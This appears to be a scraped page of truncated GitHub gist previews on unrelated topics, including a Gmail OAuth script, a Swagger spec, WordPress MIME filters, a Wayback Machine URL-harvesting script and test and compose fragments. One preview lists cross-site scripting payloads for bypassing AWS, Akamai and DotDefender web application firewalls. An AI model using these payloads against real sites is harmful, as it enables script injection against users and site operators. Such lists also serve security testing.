This workflow uses the GitHub CLI to keep a forked repo in sync with the upstream repo. Add it to your repo as .github/workflows/sync-fork.yaml.
It runs daily to sync the default branch and can be triggered manually for any branch.
| #!/bin/bash | |
| # Injest / setup vars // TODO: error handling needed | |
| client_id=$( cat parsedmarc/credentials.json | jq -r '.installed.client_id' ) | |
| client_secret=$( cat parsedmarc/credentials.json | jq -r '.installed.client_secret' ) | |
| scope="https://www.googleapis.com/auth/gmail.modify" | |
| echo | |
| echo "This script will take your OAuth Desktop Application credentials.json and use it to get a token to interact with the API" | |
| sleep 2 |
| swagger: "2.0" | |
| info: | |
| description: "This is a simple API to restart a minio server." | |
| version: "1.0.0" | |
| title: "Swagger Minio 1.0" | |
| contact: | |
| email: "frederic.roggon@codeadmin.de" | |
| license: | |
| name: "Apache 2.0" | |
| url: "http://www.apache.org/licenses/LICENSE-2.0.html" |
| // allow DMG file upload for WC | |
| add_filter('upload_mimes', 'ith__allow_dmg_upload'); | |
| function ith__allow_dmg_upload($mime_types){ | |
| $mime_types['dmg'] = 'application/x-apple-diskimage'; | |
| return $mime_types; | |
| } | |
| // allow DMG file download for WC | |
| add_filter( 'woocommerce_file_download_allowed_mime_types', 'ith__add_dmg_mime_type' ); | |
| function ith__add_dmg_mime_type( $mime_types ){ |
| import requests | |
| import sys | |
| import json | |
| def waybackurls(host, with_subs): | |
| if with_subs: | |
| url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host | |
| else: | |
| url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host |
| @vanshitmalhotra | Bypass AWS WAF -// | |
| Add "<!" (without quotes) before your payload and bypass that WAF. :) | |
| eg: <!<script>confirm(1)</script> | |
| @black0x00mamba | Bypass WAF Akamaighost & filtered onload, onclick, href, src, onerror, script, etc | |
| <img sr%00c=x o%00nerror=((pro%00mpt(1)))> | |
| DotDefender WAF bypass by @0xInfection | |
| <bleh/ondragstart=	parent	['open']	()%20draggable=True>dragme |
This is a short "how-to implement" of a tenant scopeing for sessions when using
with a multi-database setup and sessions within the landlord database.
I hereby claim:
To claim this, I am signing this object:
| <?php | |
| namespace Tests\Unit\Models; | |
| use App\Models\User; | |
| use PHPUnit\Framework\TestCase; | |
| class UserConstantsTest extends TestCase | |
| { | |
| /** |
| version: '3.7' | |
| networks: | |
| wp: | |
| volumes: | |
| app: | |
| db: | |
| services: |